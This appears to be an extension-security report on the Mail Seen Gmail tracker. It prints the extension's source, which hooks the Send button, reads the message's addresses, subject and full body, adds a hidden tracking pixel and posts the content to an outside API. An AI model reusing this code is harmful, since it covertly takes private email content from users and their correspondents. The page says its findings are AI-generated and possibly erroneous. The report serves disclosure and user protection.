Is Mail Seen - Unlimited Email Tracker for Gmail safe?

High risk

Mail Seen sends outgoing Gmail message details and body text to its tracking API when you click Send.

When you send a Gmail message, Mail Seen intercepts the Send button click, reads the sender, recipient, subject, timestamp, and compose body text, and adds a tracking pixel to the email. It then posts those details, including the full outgoing body content, to MailSeen's tracking API for paid users and free users under the monthly count threshold.

Mobile Internet Limitedv5.6Chrome Web Store
72Risk
Who publishes it

Mobile Internet Limited - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Mobile Internet Limited
Declared legal entity
Mobile Internet Limited
Registered contact
Huang He

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Gmail send hook posts outgoing email bodies to MailSeen API

Clicking Send in Gmail, Mail Seen's content script reads the sender, recipient, subject, and body, appends a tracking pixel, and posts JSON to authapi-f6o7ittoia-uc.a.run.app/track2, whose bodyContent field carries the full message text.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You click Send in a Gmail compose window.

The click handler only runs on Gmail pages and matches Gmail's Send button classes.

The extension did this

The extension reads the compose fields, adds a tracking pixel, and sends the message details to its API.

Tracking is on by default when no preference is stored, unless the message contains a Gmail Drive chip.

JSON fields posted to the tracking endpoint
  • Sender account
    alex.wu@example.com (illustrative)

    Identifies which Gmail account sent the message.

  • First recipient
    finance-team@example.org (illustrative)

    Identifies the first person or mailbox you addressed in the compose window.

  • Subject line
    Q3 vendor contract review (illustrative)

    Shows the topic of the email you are sending.

  • Send date
    2026-07-14 (illustrative)

    Places your message in time, which can be tied to the sent email and tracking pixel.

  • Tracking ID
    k8m4pz (illustrative)

    Links the API record to the tracking pixel inserted into your outgoing email.

  • Email body text
    Hi Priya, attached are the updated payroll notes for review. (illustrative)

    Includes the full text you typed in the message body before sending.

Captured request
POSThttps://authapi-f6o7ittoia-uc.a.run.app/track2
Headers
Content-Type
application/json
The code that does this

Gmail send handler reads compose fields and calls the tracking path

Readable version

Readable packaged source for the same handler

components/emailTracking.js
function initializeEmailTracking() {    document.body.addEventListener('click', handleSendButtonClick, true);}// Handle send button click eventfunction handleSendButtonClick(event) {    if (event.target.matches('.T-I.J-J5-Ji.aoO.v7.T-I-atl.L3')) {        event.preventDefault();        // Extract email using a more generic selector        const accountEmailAnchors = Array.from(document.querySelectorAll('a[aria-label]'));        let senderEmail = 'Not Found';        for (let anchor of accountEmailAnchors) {            const ariaLabel = anchor.getAttribute('aria-label');            const emailMatch = ariaLabel.match(/\(([^\)]+@[^)]+)\)/); // Regex to extract email            if (emailMatch) {                senderEmail = emailMatch[1];                break; // Break the loop once email is found            }        }        const subjectElement = document.querySelector('input[name="subjectbox"]');        const subject = subjectElement ? subjectElement.value : 'Not Found';        const recipientEmail = extractRecipientEmail();        let bodyElement = document.querySelector('div[contenteditable="true"].Am.Al') ||            document.querySelector('div.Am.Al.editable') ||            document.querySelector('div.aO7').firstElementChild;        if (bodyElement) {            // Check if the body contains the class "gmail_chip gmail_drive_chip"            const containsGmailChip = bodyElement.querySelector('.gmail_chip.gmail_drive_chip');            if (containsGmailChip) {                // Skip API calls, pixel attachment, and send button click for Gmail attachments            } else {                const randomId = Math.random().toString(36).substring(2, 8);                addTrackingData(senderEmail, recipientEmail, subject, bodyElement, randomId);                setTimeout(() => {                    addNewIndicatorToSent();                    event.target.click(); // Only click the send button programmatically if the chip is not found                }, 2000);            }        }    }}// Extract recipient email from compose windowfunction extractRecipientEmail() {    const emailSpans = document.querySelectorAll('div.oL.aDm.az9 span[email]');    return emailSpans.length > 0 ? emailSpans[0].getAttribute('email') : 'Not Found';}
The code that does this

Tracking payload builder appends the pixel and posts bodyContent

Readable version

Readable packaged source for the same payload path

components/emailTracking.js
function addTrackingData(senderEmail, recipientEmail, subject, bodyElement, randomId) {    console.log('addTrackingData: Starting function with params:', {        senderEmail, recipientEmail, subject, randomId    });    const currentDate = new Date().toISOString().split('T')[0];    const encodedSenderEmail = encodeURIComponent(senderEmail);    const encodedRecipientEmail = encodeURIComponent(recipientEmail);    const encodedSubject = encodeURIComponent(subject);    const uniquePixelUrl = `https://authapi-f6o7ittoia-uc.a.run.app/pixel/${encodedSenderEmail}_${currentDate}_${encodedSubject}_${encodedRecipientEmail}_${randomId}.png`;    const bodyContent = bodyElement.innerText; // Extract the text content of the email body    // Retrieve sessionStorage values    const paidStatus = sessionStorage.getItem("Paid") || "NO";    const adjustedEmailData = sessionStorage.getItem('adjustedEmailData');        // Fix the tracking preference logic - default to true if not set, otherwise use the stored value    const trackingPreferenceValue = sessionStorage.getItem("userTrackingEnabled");    const userTrackingPreference = trackingPreferenceValue === null ? true : trackingPreferenceValue === "true";    console.log('addTrackingData: Session values:', {        paidStatus,        trackingPreferenceValue,        userTrackingPreference,        adjustedEmailDataExists: !!adjustedEmailData    });    // Calculate the number of unique emails sent THIS MONTH ONLY (first: "yes")    let emailCount = 0;    if (adjustedEmailData) {        const data = JSON.parse(adjustedEmailData);        if (data && data.data) {            const now = new Date();            const currentMonth = now.getMonth();            const currentYear = now.getFullYear();                        // Count unique subject-recipient combinations where first: "yes" and sent this month            const sentEmails = new Set();            data.data.forEach(item => {                if (item.first === 'yes') {                    let emailDate = null;                                        // Try to parse the timestamp field first (format: "2025-03-27 19:43:28")                    if (item.timestamp) {                        emailDate = new Date(item.timestamp);                    }                    // Fallback to date field if timestamp is not available                    else if (item.date) {                        emailDate = new Date(item.date);                    }                                        // Check if email is from current month and year                    if (emailDate && emailDate.getMonth() === currentMonth && emailDate.getFullYear() === currentYear) {                        // Create a unique key based on subject and recipient                        const uniqueKey = `${item.Subject}_${item.Recipientemail}`;                        sentEmails.add(uniqueKey);                    }                }            });            emailCount = sentEmails.size;        }    }    console.log('addTrackingData: Email count calculated:', emailCount);    // Check if user has disabled tracking    if (!userTrackingPreference) {        console.log('addTrackingData: Tracking disabled by user preference - skipping pixel attachment and API calls');        return; // Exit early without adding pixel or making API calls    }    // Condition check: if "Paid" is "YES", always call the API, otherwise check emailCount    const trackingEligible = (paidStatus === "YES" || emailCount <= 10);    console.log('addTrackingData: Tracking conditions:', {        paidStatus: paidStatus === "YES",        emailCountOk: emailCount <= 10,        trackingEligible,        userTrackingPreference    });    if (trackingEligible) {        console.log('addTrackingData: Adding tracking pixel and making API call');                // Add tracking pixel        let trackingPixel = document.createElement('img');        trackingPixel.src = uniquePixelUrl;        trackingPixel.width = 1;        trackingPixel.height = 1;        trackingPixel.style.display = 'none';        bodyElement.appendChild(trackingPixel);        console.log('addTrackingData: Pixel added to body element');        // Call the new API with the same data        sendAdditionalTrackingData(senderEmail, recipientEmail, subject, currentDate, randomId, bodyContent);    } else {        console.log('addTrackingData: API call not made due to email count limit and unpaid status');    }}// Send tracking data to APIfunction sendAdditionalTrackingData(senderEmail, recipientEmail, subject, timestamp, randomId, bodyContent) {    fetch('https://authapi-f6o7ittoia-uc.a.run.app/track2', {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({            senderEmail: senderEmail,            recipient: recipientEmail,            subject: subject,            timestamp: timestamp,            randomId: randomId,            bodyContent: bodyContent // Add this line to include the body content        })    })        .then(response => response.json())        .then(data => {            // Additional tracking data sent successfully        })        .catch(error => console.error('Error sending additional tracking data:', error));}
External hosts used for tracking
    • authapi-f6o7ittoia-uc.a.run.app

    Google Cloud Run host used by MailSeen for the /track2 JSON API and /pixel tracking image endpoint.

What it can do

Permissions this extension asks for, as declared in version 5.6. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on mail.google.com

    https://mail.google.com/

  • Read and change your data on authapi-f6o7ittoia-uc.a.run.app

    https://authapi-f6o7ittoia-uc.a.run.app/

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • See which of your requests its blocking rules matched

    declarativeNetRequestFeedback

Where it sends data

Destinations our analysis observed Mail Seen - Unlimited Email Tracker for Gmail contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • authapi-f6o7ittoia-uc.a.run.app

    Mail Seen - Unlimited Email Tracker for Gmail sends data to authapi-f6o7ittoia-uc.a.run.app. No other extension we have analysed sends data here.

Updated 30 September 2026mlaaofkinooaabkchhidlhhjoiaomcmf